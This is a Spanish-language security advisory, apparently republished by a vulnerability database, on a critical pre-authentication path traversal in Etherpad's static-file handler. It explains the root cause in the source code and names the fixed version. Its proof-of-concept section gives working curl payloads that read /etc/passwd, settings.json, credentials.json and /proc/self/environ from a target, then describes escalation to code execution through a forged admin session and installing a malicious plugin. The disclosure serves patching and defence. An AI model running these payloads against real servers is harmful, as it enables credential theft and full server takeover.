Crítica

Etherpad: Lectura arbitraria de archivos previa a la autenticación

  • Publicada: 20.11.2026
  • Actualizado: 21.11.2026 10:00

Resumen

Una vulnerabilidad de salto de directorio (path traversal) y lectura arbitraria de archivos sin autenticación en el manejador /static/* de Etherpad permite a cualquier usuario remoto y no autenticado leer cualquier archivo del sistema de archivos del servidor (por ejemplo, GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd devuelve /etc/passwd) accesible para el usuario que ejecuta el software Etherpad. Dado que el endpoint se monta antes del middleware de autenticación, no se requieren credenciales, sesión ni cambios de configuración. Esta lectura podría escalar a un compromiso total del servidor: en un despliegue típico, al revelar settings.json / credentials.json / /proc/self/environ, que contienen la contraseña de administrador, otorgando a un atacante una sesión administrativa y, mediante el instalador de complementos de administración, la ejecución remota de código.

Detalles

Etherpad sirve los recursos estáticos de los complementos a través de src/node/utils/Minify.ts. La ruta de la solicitud pasa primero por el saneador canónico src/node/utils/sanitizePathname.ts, que convierte las barras invertidas en barras inclinadas únicamente en Windows:

// src/node/utils/sanitizePathname.ts:11-20
p = pathApi.normalize(p);
if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);
if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);
// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input
// pathname would not be normalized away before being converted to '../'.
if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');

En Linux, una barra invertida es un byte normal de nombre de archivo, por lo que un segmento de entrada como ..\..\..\test no contiene componentes de ruta ./.. y supera todas las comprobaciones en sanitizePathname sin cambios. La propia suite de pruebas del proyecto lo confirma: src/tests/backend-new/specs/sanitizePathname.ts:62 incluye ['posix', '..\\foo'] entre las rutas aceptadas (devueltas sin cambios).

La vulnerabilidad radica en que Minify.ts realiza esa conversión específica de Windows de forma incondicional, después de que se haya ejecutado el saneador, justificado por un comentario que asume lo contrario a la invariante anterior:

// src/node/utils/Minify.ts:171-186
const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/);
if (match) {
const library = match[1];
const libraryPath = match[2] || '';
if (plugins.plugins[library] && match[3]) {
const plugin = plugins.plugins[library];
const pluginPath = plugin.package.realPath;      // for 'ep_etherpad-lite' == <root>/src
filename = path.join(pluginPath, libraryPath);   // -> absolute path, backslashes preserved
// ... "This conversion does not introduce a directory
// traversal vulnerability because all '..\\' substrings have already been removed by
// sanitizePathname."                              // <-- FALSE on POSIX
filename = filename.replace(/\\/g, '/');          // <-- reintroduces ../ AFTER the check
}

Después de la línea 186, la cadena se convierte en un salto de directorio real (<root>/src/static/../../../../etc/passwd) sin renormalización ni comprobación de contención antes de las llamadas al sistema de archivos en Minify.ts:248 (fs.stat) y Minify.ts:315 (fs.readFile). Dado que path.join en la línea 179 produce una ruta absoluta, path.resolve(ROOT_DIR, filename) descarta por completo ROOT_DIR, y la función POSIX path.resolve colapsa los .. sobrantes en /, haciendo que la carga útil sea independiente de la profundidad de la raíz.

La ruta es accesible antes de la autenticación. Está registrada en el hook expressPreSession:

// src/ep.json
{ "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" } }
// src/node/hooks/express/static.ts:38
app.all('/static/*filename', minify);

y expressPreSession se ejecuta antes del middleware de autenticación:

// src/node/hooks/express.ts:244-247
await hooks.aCallAll('expressPreSession', {app, settings});   // static route registered here
app.use(exports.sessionMiddleware);
app.use(webaccess.checkAccess);                                // auth runs AFTER

La rama de complementos se toma siempre debido a que src/static/js/pluginfw/plugins.ts:153-158 registra incondicionalmente el pseudocomplemento principal ep_etherpad-lite con package.realPath = <root>/src.

Dos detalles de decodificación hacen que el exploit sea funcional: Express 5 / path-to-regexp v8 decodifican los parámetros comodín por segmento una sola vez ((v) => v.split('/').map(decodeURIComponent)), por lo que req.params.filename.join('/') (Minify.ts:147) produce la ruta decodificada una vez que se envía al saneador, y %5C (barra invertida codificada) es el único separador funcional (%2F se decodifica en /, se vuelve a dividir y es rechazado por la validación split('/')[ 0 ] === '..').

PoC

Aplica a un despliegue de producción predeterminado (sin configuración especial; funciona en Linux, por ejemplo en la imagen Docker o en una instalación de origen con systemd). Reemplace TARGET:9001 con la instancia correspondiente.

  1. Lea /etc/passwd (o cualquier archivo) sin autenticación. --path-as-is evita que el cliente colapse el salto de ruta:
bash
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'

Otras lecturas de alto valor (el exceso de .. se absorbe en /):

Contraseña de administrador + secretos, independiente de la raíz mediante /proc/self/cwd:

bash
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'

En despliegues con docker-compose, la contraseña del administrador es una variable de entorno: curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'

Cada respuesta devuelve los bytes crudos del archivo (con un encabezado inocuo Content-Type: false para objetivos sin extensión; Node convierte el valor y no genera excepciones).

  1. Escalar a RCE. Obtenga las credenciales de administrador a partir de los archivos leídos en el paso 1, luego:

Genere una sesión de administrador:

bash
curl -i -X POST 'http://TARGET:9001/admin-auth/' \
-H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"
# -> 200 + Set-Cookie: <prefix>express_sid=...

Usando esa cookie express_sid, conéctese al espacio de nombres de Socket.IO /pluginfw/installer (restringido únicamente por session.user.is_admin, src/node/hooks/express/adminplugins.ts:22) y emita install para un complemento ep_* controlado por el atacante. Etherpad ejecuta require() sobre el código del complemento en el mismo proceso durante plugins.update() (src/static/js/pluginfw/shared.ts:30), ejecutando código arbitrario con los privilegios del usuario de Etherpad.

Impacto

  • Tipo: Limitación inadecuada de una ruta de acceso → lectura arbitraria de archivos sin autenticación, con potencial de ejecución remota de código.
  • Acceso requerido: Ninguno. La ruta vulnerable se procesa antes del middleware de autenticación/autorización, por lo que es explotable por cualquier cliente que pueda conectarse al puerto HTTP, independientemente de requireAuthentication, requireAuthorization o la configuración de usuarios.
  • A qué puede acceder un atacante: Cualquier archivo legible por el usuario del proceso Etherpad, incluyendo settings.json/credentials.json (contraseña de administrador, sessionKey, credenciales de bases de datos, secretos de clientes SSO), /proc/self/environ (secretos pasados por entorno como ADMIN_PASSWORD, DB_PASS), la base de datos de pads, claves privadas TLS y archivos del sistema operativo como /etc/passwd.
  • Escalación: La contraseña de administrador revelada otorga una sesión administrativa; el instalador de complementos de administración permite la ejecución de código en el proceso (control total del servidor). Incluso sin la instalación de complementos, el acceso de administrador permite reescribir la configuración (saveSettings + restartServer) y extraer toda la información almacenada.
  • A quién afecta: A todos los operadores de versiones afectadas, con mayor gravedad a aquellos que exponen Etherpad directamente a redes no confiables. Un proxy inverso no mitiga este problema, ya que el salto de directorio utiliza %5C, el cual los proxies reenvían sin modificar.

Qué hacer

Actualice ep_etherpad-lite a la versión 3.3.3 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm ep_etherpad-lite >= 1.8.14, < 3.3.3 3.3.3

Referencias

Puntuación CVSS 9.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-200, CWE-22, CWE-306
Plataforma
npm
Paquete
ep_etherpad-lite
Publicada
20.11.2026
Actualizado
21.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-mc8w-wjhw-45x5 - CC BY 4.0

Historial de vulnerabilidades: ep_etherpad-lite

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
7
Primera → última
05.2022 11.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 1
  • Media 4

Divulgaciones por año

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 6
  1. Etherpad: Lectura arbitraria de archivos previa a la autenticación esta entrada
    Crítica · 9.8 CVE-2026-114516 >= 1.8.14, < 3.3.3 3.3.3
  2. Crítica · 9.8 CVE-2018-6835 < 1.6.3 1.6.3

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.